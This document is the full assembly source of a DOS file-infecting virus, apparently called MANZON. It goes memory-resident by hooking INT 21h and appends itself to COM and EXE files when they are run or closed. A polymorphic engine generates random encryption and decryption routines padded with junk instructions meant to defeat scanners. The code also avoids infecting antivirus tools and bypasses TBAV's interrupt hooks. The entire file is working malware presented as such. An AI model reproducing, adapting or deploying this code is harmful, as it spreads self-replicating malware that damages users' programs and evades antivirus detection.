.model tiny
        .code
        .386

code_size equ code_end-code_start
filecodelength equ filecodeend-code_start
        org 100h

code_start:
start:
        call    StartDecryptSimple

SimpleCryptStart:

        call    InstallVirus            ; Call Install routine


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following code randomly creates an encryptor and a matching   :+
;+    decryptor.                                                    :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

WriteVirus:
        push    bx                      ; Save filehandle
        in      ax,40h                  ; Get random

;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+:

        mov     si,offset Rand1a        ; First random in decryptor OP-codes
        mov     di,offset Rand1b        ; First random in encryptor OP-codes
        mov     cx,5                    ; 7*2 OP-codes to change
SetRandom:
        mov     [si],al
        mov     [di],al
        add     si,4                            ; Next OP-code
        add     di,4                            ; -----"-----
        xor     ax,      'P'-'O'-'O'-'R'        ; Generate...
        rol     ax,5                            ; ..new...
        xor     ax,'R'-'E'-'B'-'O'-'U'-'N'-'D'  ; random
        loop    SetRandom

;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+:

CreateCode:
        push    cs
        pop     es
        mov     cx,13                           ;Counter, max 13 sequences
        mov     di,offset CCode1
        mov     si,offset DECode
        mov     word ptr ds:[CLength],0h        ;Length of decryptor
CreateLoop:
        mov     si,offset DECode
        in      ax,40h                          ; Get random
        ror     ax,cl
        xor     ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L'
        sub     ax,        'R'-'I'-'O'-'T'
        push    ax                              ;Save for later use
        mov     bl,al
        and     bl,15                           ;Mask only 0-15
        shl     bl,2                            ;mul 4 to get right offset
        xor     bh,bh
        add     si,bx                           ;Get right OP-code
        movsd                                   ;move one inst (4 bytes)

        std                                     ;count backwards
        push    cx
        push    di                              ;Move code in CCode one inst
        push    si                              ;forward, so next inst could
        mov     si,offset CCode2+13*4           ;be first.
        mov     di,offset CCode2+14*4
        mov     cx,14
        rep     movsd
        pop     si
        mov     di,offset CCode2
        cld

        cmp     bl,29                            ;Should we use alt. encrypt?
        jnb     short Garbage                    ;No, just garbage-instructions

        add     si,ENCode-DECode-4              ;Get right pos in ENCode
        movsd                                   ;move one inst (4 bytes)
        sub     si,ENCode-DECode                ;Back to old pos in DECode
        jmp     short NoGarbage
Garbage:
        sub     si,4                            ;Same instructions again
        movsd
NoGarbage:
        pop     di
        pop     cx
        add     word ptr ds:[CLength],4         ;Add length of decryptor
        pop     ax                              ;Get random value again
        and     ax,128+64                       ;Leave de/encryptor like this?
        jz      short QuitLoop
        loop    CreateLoop
QuitLoop:

;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+:

        xor     ax,ax
        in      al,40h                          ; Another random
        xor     al,'A'
        and     al,7                            ;Random between 0 and 7
        mov     byte ptr ds:[InitCX1],0b9h      ;OP-Code for mov cx,?
        mov     bx,filecodelength
        add     bx,ax
        mov     word ptr ds:[InitCX1+1],bx       ;Value to put in CX (counter)

;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+:

        mov     byte ptr ds:[InitSI1],0beh      ;OP-Code for mov si,?
        mov     ax,[entry_p]                    ;EntryPoint
        add     ax,word ptr ds:[CLength]        ;Length of cryptlines
        add     ax,15                           ;size of rest of loop
        add     ax,[IPOffs]                     ;Then add 100h
NoCom:  mov     word ptr ds:[InitSI1+1],ax      ;Value to put in CX (counter)

;+:+:+: Build the instruction that increase SI :+:+:+:+:

        and     bl,2                            ; Get random for inc si
        shl     bl,2                            ; mul 4
        mov     bh,0
        mov     si,offset DEcSI
        add     si,bx                           ; Get pos in ADD-SI-alts.
        movsd

;+:+:+: Build the loop-instruction :+:+:+:+:

        mov     ah,0ffh
        sub     ah,[CLength]                    ; Calculate loop operand
        sub     ah,5
        mov     al,0e2h                         ; OP-code for loop
        mov     [di],ax                         ; Write loop command

;+:+:+: Write RET at end of encryptionroutine :+:+:+:+:

        mov     di,offset CCode2                ; Encryptionroutine
        add     di,word ptr ds:[Clength]        ; Find end of ER
        mov     byte ptr ds:[di],0c3h           ; Write a RET

;+:+:+: Write created loader to file :+:+:+:+:

        pop     bx                              ; Get filehandle
        mov     ah,40h                          ; Function WRITE
        mov     cx,word ptr ds:[CLength]
        add     cx,12
        mov     dx,offset InitCX1
        int     21h                             ; Write decryptor to file
        mov     word ptr ds:[File_H],bx

;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc)

        mov     di,offset CCode1                ; Encryptionroutine
        add     di,word ptr ds:[Clength]        ; Find end of ER
        mov     byte ptr ds:[di],0c3h           ; Write a RET

;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+:

        mov     si,offset ED_start              ; Start of ED-routine
        mov     di,offset ED_buf                ; buffer beyond virus
        mov     cx,ED_End-ED_start              ; Size of ED-routine
        rep     movsb
        call    filecodeend                     ; Call copy

        ret

;------ Routine to Encrypt virus, write virus, and decrypt virus

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following code will be copied to memory beyond the virus,     :+
;+    and then called. The routine then calls the created           :+
;+    encryptor, writing the encrypted virus the the file and       :+
;+    then uses the modified decrytor to decrypt the virus again.   :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

ED_start:

;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+

        in      al,40h
        mov     byte ptr cs:[DSRan],al

;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+

        mov     ax,offset EncryptDecryptSimple
        call    ax

;+:+:+: Encrypt virus, using created encryptor :+:+:+:+

        mov     si,0100h                        ; Start of viruscode
        mov     cx,filecodelength
encloop:
        mov     ax,offset CCode2                ; offset to created enc-routine
        call    ax                              ; call it
        inc     si
        loop    encloop                         ; Encrypt whole virus

;+:+:+: Write encrypted virus to file :+:+:+:+

        mov     bx,word ptr ds:[File_H]         ; Get filehandle
        mov     ah,40h                          ; Function WRITE
        mov     cx,filecodelength
        mov     dx,0100h
        pushf
        push    cs                              ; Fake interrupt call
        call    DoOldInt

;+:+:+: Decrypt virus, using created encryptor :+:+:+:+

        mov     si,0100h                        ; Start of viruscode
        mov     cx,filecodelength
decloop:
        mov     ax,offset CCode1
        call    ax                              ; Call builded encryptroutine
        inc     si
        loop    decloop

;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+

        mov     ax,offset EncryptDecryptSimple
        call    ax

;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+

        mov     bx,word ptr ds:[File_H]         ; Get filehandle
        in      ax,40h                          ; Get random in al
        mov     ds,ax                           ; Read from random segment
        and     ax,0fh                          ; mask bit 0-3
        mov     cx,ax                           ; No. bytes to write
        mov     ah,40h
        add     word ptr cs:[CLength],cx        ; add length (must know this
        xor     dx,dx                           ; when creating EXE-header).
        pushf
        push    cs                              ; Fake interrupt call
        call    DoOldInt

        push    cs                              ; Push back codeseg in DS
        pop     ds

        ret

DoOldInt:
        sti
        db      0eah
OldInt  dd      0

ED_End:

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following table contains 16 different 4-byte codesqeunces,    :+
;+    randomly used by the decryptionroutine. The first 8 affects   :+
;+    the decryption algoritm, and has a matching 4-byte inst-      :+
;+    ruction in the ENCode-table. The rest is just garbage-        :+
;+    instructions, used to make scanning harder. The morpher       :+
;+    will pick a random number (1-16) of these instructions,       :+
;+    and build the decryption routine.                             :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

DECode  db      02eh,080h,004h          ; add byte ptr cs:[si],?
Rand1a  db      ?
        db      02eh,080h,02ch          ; sub byte ptr cs:[si],?
Rand2a  db      ?
        db      02eh,080h,034h          ; xor byte ptr cs:[si],?
Rand3a  db      ?
        db      02eh,0C0h,004h          ; rol byte ptr cs:[si],?
Rand4a  db      ?
        db      02eh,0C0h,00Ch          ; ror byte ptr cs:[si],?
Rand5a  db      ?
        db      02eh,0feh,00ch,090h     ; dec byte ptr cs:[si]; nop
        db      02eh,0feh,004h,090h     ; inc byte ptr cs:[si]; nop
        db      02eh,0f6h,01ch,090h     ; neg byte ptr cs:[si]; nop
;-------The rest is just bullshit, used to confuse scanners
        db      053h,08bh,0dch,05bh     ; push bx; mov bx,sp; pop bx
        db      093h,043h,090h,043h     ; xchg bx,ax; inc bx; nop; inc bx
        db      040h,08ah,0c4h,048h     ; inc ax; mov al,ah; dec ax
        db      08ch,0c8h,056h,05fh     ; mov ax,cs; push si; pop di;
        db      074h,000h,075h,000h     ; je $+2; jne $+2;
        db      08Bh,0c3h,02bh,0d8h     ; mov ax,bx; sub ax,bx
        db      003h,0feh,02ch,002h     ; add di,si; sub al,2
        db      0ebh,001h,0b4h,090h     ; jmp $+3; mov ah,90h (b4h + nop)

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following table contains the encryptionversions of the        :+
;+    first 8 instructions in the DECode-table.                     :+
;+    SUB will be ADD, ROR will be ROL etc.                         :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

ENCode  db      02eh,080h,02ch          ; sub byte ptr cs:[si],?
Rand1b  db      ?
        db      02eh,080h,004h          ; add byte ptr cs:[si],?
Rand2b  db      ?
        db      02eh,080h,034h          ; xor byte ptr cs:[si],?
Rand3b  db      ?
        db      02eh,0C0h,00Ch          ; ror byte ptr cs:[si],?
Rand4b  db      ?
        db      02eh,0C0h,004h          ; rol byte ptr cs:[si],?
Rand5b  db      ?
        db      02eh,0feh,004h,090h     ; inc byte ptr cs:[si]; nop
        db      02eh,0feh,00ch,090h     ; dec byte ptr cs:[si]; nop
        db      02eh,0f6h,01ch,090h     ; neg byte ptr cs:[si]; nop

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following table contains four different ways to increase      :+
;+    SI. Used only in the DECode-routine (CCode1).                 :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

DEcSI   db      083h,0c6h,001h,090h     ; add si,1; nop
        db      046h,033h,0dbh,0f8h     ; inc si; xor bx,bx; clc
        db      04eh,046h,046h,0f9h     ; dec si; inc si; sinc si; stc
        db      083h,0c6h,002h,04eh     ; add si,2; dec si

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+                         Other data                               :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

CLength db      ?                       ; Length of decryptor
        db      ?
ComExe  db      0                       ; 0=Com, 1=Exe
buffer  db      0c3h                    ; Buffer contains original 3 bytes of
orgep   dw      0                       ; COM-file. 03ch (RET) will exit program
                                        ; in normal DOS. Used only first time.
buffer2 db      0e9h                    ; JMP OP-code, used to build COM-jump
entry_p dw      0                       ; Entrypoint, part of JMP-instruction

Real_CS dw      0
Real_IP dw      0
Real_SS dw      0
Real_SP dw      0

IPOffs  dw      100h                    ; Start offset (100h for comfiles)

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    INT 21h Entrypoint. Check if virus is calling, and if file    :+
;+    should be infected.                                           :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

NewVect:
        cmp     ax,0DCBAh                       ; Is virus calling?
        jne     Notvirus
        mov     dx,ax
        iret
Notvirus:
        cli                                     ; Clear Interrupts
        cld                                     ; Clear Direction
        cmp     ah,3eh                          ; Is file going to be closed?
        je      Short FileClose

        cmp     ax,4b00h                        ; Is file going to be executed?
        je      Short FileExecute
        jmp     DoOldInt

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following code is called when a file is going to be executed. :+
;+    The file will be opened, and then closed. When the file is    :+
;+    closed, the virus will call itself by INT21/3Eh, and the file :+
;+    will be infected. Pretty smart, eh? :)                        :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

FileExecute:
        pusha

        mov     ax,3d00h                        ; Open file for ReadOnly
        int     21h
        mov     bx,ax                           ; Filehandle in bx
        mov     ah,3eh
        int     21h                             ; Close file (infect file :))

        popa
        jmp     DoOldInt

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Following code is called when a file is going to be closed.   :+
;+    The code uses INT2F/1220h to get the adress of JFT-entry,     :+
;+    and then INT2F/1216h to get adress of SFT.                    :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

FileClose:
        cmp     bx,5            ; Is it a standard device?
        jb      DoOldInt

        push    ds
        push    es
        pusha

        push    bx
        mov     ax,1220h        ; Table in es:di
        int     2fh
        mov     ax,1216h
        mov     bl,byte ptr es:[di]
        int     2fh
        pop     bx

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    This is a very poor way to check the 2 first characters in a  :+
;+    filename, but the asciicode will look nice =)                 :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

        mov     ax,word ptr es:[di+20h]
        xchg    al,ah
        add     ax,0302h

        cmp     ax,'F-'  +  0302h       ; Don't infect F-PROT
        je      short Skip_Infect
        cmp     ax,'SC'  +  0302h       ; Don't infect SCAN
        je      short Skip_Infect
        cmp     ax,'TB'  +  0302h       ; Don't infect TB*.* (TBAV)
        je      short Skip_Infect
        cmp     ax,'TO'  +  0302h       ; Don't infect TOOLKIT
        je      short Skip_Infect
        cmp     ax,'FV'  +  0302h       ; Don't infect FV386
        je      short Skip_Infect
        cmp     ax,'FI'  +  0302h       ; Don't infect FINDVIRU
        je      short Skip_Infect
        cmp     ax,'VI'  +  0302h       ; Don't infect VI*.*
        je      short Skip_Infect
        cmp     ax,'K-'  +  0302h       ; Don't infect R.L's stuff :)
        je      short Skip_Infect

Check_Com:
        cmp     word ptr es:[di+28h],'OC'
        jne     short Check_Exe
        cmp     byte ptr es:[di+2ah],'M'
        jne     short Check_Exe
        or      byte ptr es:[di+2],2          ; Set R&W Access
        call    Infect_Com

Check_Exe:
        cmp     word ptr es:[di+28h],'XE'
        jne     short Skip_Infect
        cmp     byte ptr es:[di+2ah],'E'
        jne     short Skip_Infect
        or      byte ptr es:[di+2],2          ; Set R&W Access
        call    Infect_Exe

Skip_Infect:
        popa
        pop     es
        pop     ds
        jmp     DoOldInt


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Infect COM-file                                               :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

Infect_Com:
        push    cs
        pop     ds

        mov     ax,4202h                        ; Go to EOF
        xor     cx,cx
        cwd
        int     21h                             ; Get filelength in AX
        push    ax

        mov     ax,4200h                        ; Go to SOF
        xor     cx,cx
        cwd
        int     21h

        mov     ah,3fh                          ; Read the 3 first bytes
        mov     cx,3
        mov     dx,offset buffer
        int     21h

        pop     ax                              ; Get Filelength
        sub     ax,[orgep]                      ; Virus entrypoint, if file
        cmp     ax,filecodelength+100h          ; is infected
        jnb     short LooksOk
        cmp     ax,filecodelength-10h
        jb      short LooksOk
        jmp     short DontInfect

LooksOk:
        mov     ax,4202h                        ; Go to EOF
        xor     cx,cx
        cwd
        int     21h

        cmp     ax,62000                        ; Is file small enough?
        jnb     short DontInfect

        sub     ax,3                            ; Make the first 3 bytes
        mov     word ptr ds:[buffer2+1],ax      ; (jmp to eof (viruscode))

        mov     [IPOffs],100h                   ; Tell that offset is 100h

        push    bx
        call    WriteVirus
        pop     bx

        mov     ax,4200h                        ; Move to SOF
        xor     cx,cx
        cwd
        int     21h

        mov     ah,40h                          ; Write first 3 bytes
        mov     cx,3
        mov     dx,offset buffer2
        int     21h

DontInfect:
        ret

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+    Infect EXE-file                                               :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

Infect_Exe:
        push    cs
        pop     ds

        mov     [File_H],bx

        mov     ax,4200h                        ; Go to SOF
        xor     cx,cx
        cwd
        int     21h

        mov     ah,3fh
        mov     cx,19h                          ; Size of EXE-header
        mov     dx,offset EXE_Header
        int     21h

        cmp     word ptr ds:[EXE_Sig],'MZ'      ; Be sure it's a real EXE.
        je      short ItIsAnExe
        cmp     word ptr ds:[EXE_Sig],'ZM'
        je      short ItIsAnExe
        jmp     short DontInfect
ItIsAnExe:
        cmp     byte ptr ds:[EXE_Win],40h       ; Is it a NE-EXE?
        je      short DontInfect                ; Don't infect.

        xor     eax,eax
        xor     ebx,ebx
        xor     ecx,ecx

        les     ax,dword ptr ds:[EXE_IP]        ; get CS:IP in ES:AX
        mov     ds:Real_CS,es
        mov     ds:Real_IP,ax
        push    ax                              ; Save IP
        push    es                              ; Save CS

        les     ax,dword ptr ds:[EXE_SS]        ; get SS:SP in AX:ES
        mov     ds:Real_SS,ax
        mov     ds:Real_SP,es
        push    es
        pop     bx                              ; SP in BX

        shl     eax,4                           ; Build real SS:SP in EBX
        add     eax,ebx

        pop     cx                              ; Get CS in CX
        pop     bx                              ; Get IP in BX
        shl     ecx,4                           ; Build real CS:IP in ECX
        add     ecx,ebx

        sub     eax,ecx                         ; EAX = SS:SP-CS:IP

        cmp     eax,(filecodelength+400)
        jnb     short NotInfected
        cmp     eax,filecodelength
        jb      short NotInfected
        jmp     SkipInfect

NotInfected:
        xor     eax,eax
        mov     bx,[File_H]

        mov     ax,4202h                        ; Go to EOF
        xor     cx,cx
        cwd
        int     21h                             ; Get filelength in dx:ax

        xor     ecx,ecx
        xor     ebx,ebx
        mov     cx, word ptr ds:[EXE_Siz]       ; Get Siz/512 from header
        mov     bx, word ptr ds:[EXE_Mod]       ; Get Siz mod 512 from header
        shl     ecx,9                           ; Mul 512
        add     ecx,ebx                         ; Build Real memsize

        mov     bx,dx
        shl     ebx,16
        add     ebx,eax                         ; Build filesize in EBX

        cmp     ecx,ebx                         ; Is whole file loaded?
        jb      SkipInfect                      ; Nope, skip infect

        xor     ecx,ecx
        push    ax
        pop     cx                              ; Low word in cx

        mov     ax,dx
        shl     eax,16
        add     eax,ecx                         ; Build filesize in eax
        mov     edx,eax                         ; Save filesize

        xor     ebx,ebx
        mov     bx, word ptr ds:[EXE_SHe]
        shl     ebx,4                           ; Build real Headersize
        sub     eax,ebx                         ; Filesize-Headersize=CS:IP!!
        push    eax                             ; Save new CS:IP for later use

        call    FixSegOffs                      ; Fix CS:IP so IP<10h

        mov     dword ptr ds:[EXE_IP],eax

        mov     [entry_p],ax                    ; Set virus entrypoint
        mov     [IPOffs],-3                     ; No offset in EXE-files

        mov     bx,[File_H]
        call    WriteVirus                      ; Write virus to EOF

        xor     eax,eax
        xor     ebx,ebx
        mov     ax,word ptr ds:[EXE_Mod]        ; Bytes on last page
        mov     bx,word ptr ds:[EXE_Siz]        ; Size/512
        shl     ebx,9                           ; Mul 512
        add     eax,ebx                         ; Make progsize
        add     eax,filecodelength              ; Add code_size
        xor     ebx,ebx
        mov     bx,word ptr ds:[CLength]
        add     eax,ebx                         ; Add decryptsize
        add     eax,12                          ; add InitCX,Loop etc
        mov     ebx,eax
        shr     ebx,9                           ; Make new progsize/512
        and     ax,01ffh                        ; Make modulo

        mov     word ptr ds:[EXE_Siz],bx
        mov     word ptr ds:[EXE_Mod],ax

        add     word ptr ds:[EXE_Min],(code_size+100)/16
        mov     word ptr ds:[EXE_Max],-1

        pop     eax                             ; Get CS:IP
        xor     ebx,ebx
        mov     bx,word ptr ds:[CLength]        ; Length of decryptor
        add     eax,ebx
        add     eax,12                          ; Add INIT_CX, INIT_SI etc
        add     eax,VirStk-Code_Start           ; Add pos of Stack

        inc     eax                             ; Add one byte and...
        and     al,0feh                         ; ...make sure it's even

        call    FixSegOffs                      ; Fix so SP<10h

        mov     word ptr ds:[EXE_SP],ax        ; Save new SS:SP
        shr     eax,16
        mov     word ptr ds:[EXE_SS],ax        ; Save new SS:SP

        mov     bx,[File_H]

        mov     ax,4200h                        ; Go to SOF
        xor     cx,cx
        cwd
        int     21h

        mov     ah,40h
        mov     cx,18h                          ; Size of EXE-header
        mov     dx,offset EXE_Header
        int     21h                             ; Write new header

SkipInfect:
        ret

FixSegOffs:
        mov     ebx,eax
        xor     ax,ax
        shl     eax,12
        mov     ax,bx
FixSegOffsLoop:
        mov     bx,ax
        cmp     bx,10h
        jb      short DoneFix
        add     eax,00010000h - 00000010h       ; 1 para up..
        jmp     short FixSegOffsLoop
DoneFix:
        ret

id      db      'MANZON (c) '

        db      'R' + 1
        db      'e' + 2
        db      'd' + 3
        db      '-' + 4
        db      'A' + 5
        db      '/' + 6
        db      'I' + 7
        db      'R' + 8

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
;+      Following code will check if virus is resident,              +:
;+      allocate memory, copy virus to memory, set the new           +:
;+      interrupt vector and transfer control to the program         +:
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:

InstallVirus:
        pop     si                      ; Get Start of virus+3
        push    si                      ; Save it again for later use.
        push    ds                      ; push PSP for later use
        push    cs
        pop     ds

;+:+:+:+:+:+:+:+:+:+:  Ceck if virus is active  :+:+:+:+:+:+:+:+:+:+:+:

        mov     ax,0DCBAh
        int     21h
        cmp     dx,ax
        je      short Installed         ; Virus found in memory

;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+:

        mov     ah,4ah                  ; Get top of memory
        push    ax
        mov     bx,-1			
        int     21h

        sub     bx,(code_size)/16+2     ; Resize memory allocation
        pop     ax
        int     21h

        mov     ah,48h                  ; Allocate memory for Virus
        mov     bx,(code_size)/16+1
        int     21h
        jc      short Installed         ; If error then exit

        dec     ax                      ; dec AX to get pointer to MCB
        mov     es,ax
        mov     word ptr es:[1],8       ; Set DOS as owner of memory
        sub     ax,0fh                  ; 100 bytes from allocstart
        mov     es,ax                   ; to get same offset in TSR-code

;+:+:+:+:+:+:+:+:+:+:+:+:  Copy virus to memory  :+:+:+:+:+:+:+:+:+:+:+:

        sub     si,6
        mov     di,0100h
        mov     cx,code_size
        rep     movsb			; move 'em up

;****** Get adress of old INT21h and save it in the Do21-jump.

        push    es
        pop     ds
        mov     ax,3521h
        int     21h
tbavfuck:
        cmp     word ptr es:[bx],05ebh
        jne     notbav
        cmp     byte ptr es:[bx+2],0eah
        jne     notbav
        les     bx,es:[bx+3]
        jmp     tbavfuck
notbav:
        mov     word ptr ds:[OldInt+2],es       ; Save address to real INT
        mov     word ptr ds:[OldInt],bx         ; in the JMP-string

;****** Set new INT21h

        mov     dx,offset NewVect               ; Set New interruptvector
        mov     ax,2521h
        int     21h

installed:
        pop     ax                              ; Get PSP
        pop     si
        sub     si,106h
        cmp     word ptr cs:[si+IPoffs],100h    ; Are we in a COM-file
        je      short RestoreComFile

RestoreExeFile:
        mov     ds,ax                           ; Let ds contain PSP
        mov     es,ax                           ; Let es contain PSP
        add     ax,10h                          ; Get start of file

        add     word ptr cs:[si+Real_CS],ax     ; Add start seg to CS
        add     ax,word ptr cs:[si+Real_SS]
        mov     ss,ax                           ; Get programs SS
        mov     sp,word ptr cs:[si+Real_SP]     ; Get programs SP
        sub     sp,2                            ; Fix right value for SP

        push    word ptr cs:[si+Real_CS]
        push    word ptr cs:[si+Real_IP]
        xor     ax,ax
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        mov     si,ax
        mov     di,ax
        mov     bp,ax
        retf

RestoreComFile:
        mov     ax,cs
        mov     ds,ax
        mov     es,ax

        add     si,offset buffer                ; Restore real 3 first bytes
        mov     di,0100h
        movsw
        movsb
        xor     ax,ax
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        mov     si,ax
        mov     di,ax
        mov     bp,ax
        push    0100h
        ret

SimpleCryptEnd:

StartDecryptSimple:
        call    GetIPLabel
GetIPLabel:
        mov     bp,sp
        mov     si,[bp]
        sub     si,GetIPLabel-SimpleCryptStart
        mov     cx, SimpleCryptEnd-SimpleCryptStart
        Call    DecryptSimple
        pop     ax
        ret

EncryptDecryptSimple:
        mov     si,offset SimpleCryptStart
        mov     cx, SimpleCryptEnd-SimpleCryptStart
        call    DecryptSimple
        ret

DecryptSimple:
        db      02eh,080h,034h          ; xor byte ptr cs:[si],?
DSRan   db      0
        inc     si
        loop    DecryptSimple
        ret

;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+      Following code acts like a buffer in memory, and is not     :+
;+      included when the virus is written to a file.               :+
;+	(Normally known as the heap)                                :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+

filecodeend:                            ; Label to calculate code_size,
                                        ; and to use when jumping to copy
                                        ; of EWD-routine

ED_buf  db      ED_end-ED_start dup (?) ; space for copy of en EWD-routine

File_H  dw      ?                       ; Filehandle

; Space for the created decryptionroutine

InitCX1 db      ?,?,?                   ; mov cx,virsize+(0 to 7)
InitSI1 db      ?,?,?                   ; mov si,offset start
CCode1  dd      ?,?,?,?,?,?,?,?         ; 1 to 15 decryptrows
        dd      ?,?,?,?,?,?,?
        dd      ?,?                     ; + loop statement

; Space for the created encryptionroutine

CCode2  dd      ?,?,?,?,?,?,?,?         ; 1 to 15 decryptrows
        dd      ?,?,?,?,?,?,?
        dd      ?,?

EXE_Header:				; Structure
EXE_Sig dw      ?                       ; MZ or ZM
EXE_Mod dw      ?                       ; size - int(size/512)
EXE_Siz dw      ?                       ; size/512
EXE_Rel dw      ?                       ; Relocation iems
EXE_SHe dw      ?                       ; Size of header/16
EXE_Min dw      ?                       ; Min mem/16
EXE_Max dw      ?                       ; Max mem/16
EXE_SS  dw      ?                       ; Stack Segement
EXE_SP  dw      ?                       ; Stack Pointer
EXE_CHK dw      ?                       ; Checksum
EXE_IP  dw      ?                       ; Instruction Pointer
EXE_CS  dw      ?                       ; Code Segment
EXE_Win db      ?                       ; 40h if Windows EXE

VirStk: db      32 dup (?)              ; Stack used by the virus (EXE only)

code_end:
        end     start
;===============================================================================